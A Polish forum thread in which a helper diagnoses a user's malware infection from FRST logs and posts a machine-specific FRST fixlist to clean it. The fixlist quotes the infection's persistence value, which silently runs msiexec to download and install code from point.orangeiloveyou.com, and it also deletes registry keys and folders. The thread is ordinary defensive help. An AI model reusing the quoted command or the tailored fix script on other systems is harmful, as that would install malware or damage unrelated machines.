Avast co 3 godziny zawiadamia o wirusie

[naimon123]

Witam. Od jakiegoś czasu avast równiutko co trzy godziny pokazuje jakiś zawirusowany plik regsvr32.exe i dziwne strony typu point.orangeiloveyou. W dodatku instaluje mi się samoczynnie jakiś fake Firefox, którego przed chwilą usunąłem AdwCleanerem. Wykrywa on jeszcze plik temp.dat w folderze C:\Users\Public i nawet jeśli go usunę tym programem to za chwilę znowu się sam pojawi. Dzisiaj po pierwszym uruchomieniu komputera, w jednym momencie wyłączyło mi Chrome i Avasta. Liczę na szybką pomoc, z góry dzięki!

 

http://wklej.org/id/3092382/

 

http://www.wklej.org/id/3092421/

Addition.txt

FRST.txt

[Miszel03]

Brakuje trzeciego obowiązkowego raportu Shortcut genrowanego przez FRST - dołącz go.

[naimon123]

Proszę i dziękuję za chęć pomocy.

Shortcut.txt

[Miszel03]

W systemie grasuję infekcja uruchamiająca podejrzaną stronę oraz przeglądarki. Ponad to prawdopodobnie założyła blokady typu Debugger. 

Nie widzę nic związanego z fałszywym FireFox - nie masz takiego zainstalowanego, a już na pewno nie masz zainstalowanej przeglądarki Mozilla FireFox.

 

1. Otwórz Notatnik w nim wklej:

 

CloseProcesses:
CreateRestorePoint:
HKLM-x32\...\Run: [] => [X]
HKU\S-1-5-21-1985022496-2657986825-1099666431-1000\...\Run: [GoogleChromeAutoLaunch_BE1F6EBAA18EC437B3D3D19AFF8C38DD] => C:\Program Files (x86)\Google\Chrome\Application\chrome.exe [1111896 2017-03-29] (Google Inc.)
HKU\S-1-5-21-1985022496-2657986825-1099666431-1000\...\Policies\system: [shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj81NjMxFdM5MTY1NWF3OWF1OWH1FjYyNdzXF8M1RUNXMq== /q
IFEO\taskmgr.exe: [Debugger]
S2 AppleNotificationsSrv; C:\ProgramData\Software\Apple\Apps\Notification.dll [X]
S3 VGPU; System32\drivers\rdvgkmd.sys [X]
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AMD Problem Report Wizard\Run AMD Problem Report Wizard.lnk
DeleteKey: HKCU\Software\Mozilla
DeleteKey: HKCU\Software\MozillaPlugins
DeleteKey: HKLM\SOFTWARE\Mozilla
DeleteKey: HKLM\SOFTWARE\MozillaPlugins
DeleteKey: HKLM\SOFTWARE\Wow6432Node\Mozilla
DeleteKey: HKLM\SOFTWARE\Wow6432Node\mozilla.org
DeleteKey: HKLM\SOFTWARE\Wow6432Node\MozillaPlugins
C:\Users\Szymon\AppData\Local\Mozilla
C:\Users\Szymon\AppData\Roaming\Mozilla
C:\Users\Szymon\AppData\Roaming\Profiles
EmptyTemp:

 

Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach.

 

Plik zapisz pod nazwą fixlist.txt w folderze z którego uruchamiasz FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt.

 

2. Całościowo przeskanuj system za pomocą Malwarebytes AntiMalware. Jeśli coś wykryje to niczego nie usuwaj, a dostarcz raport. 

 

3. Zrób nowy zestaw raportów FRST i GMER. Dołącz też plik Fixlog.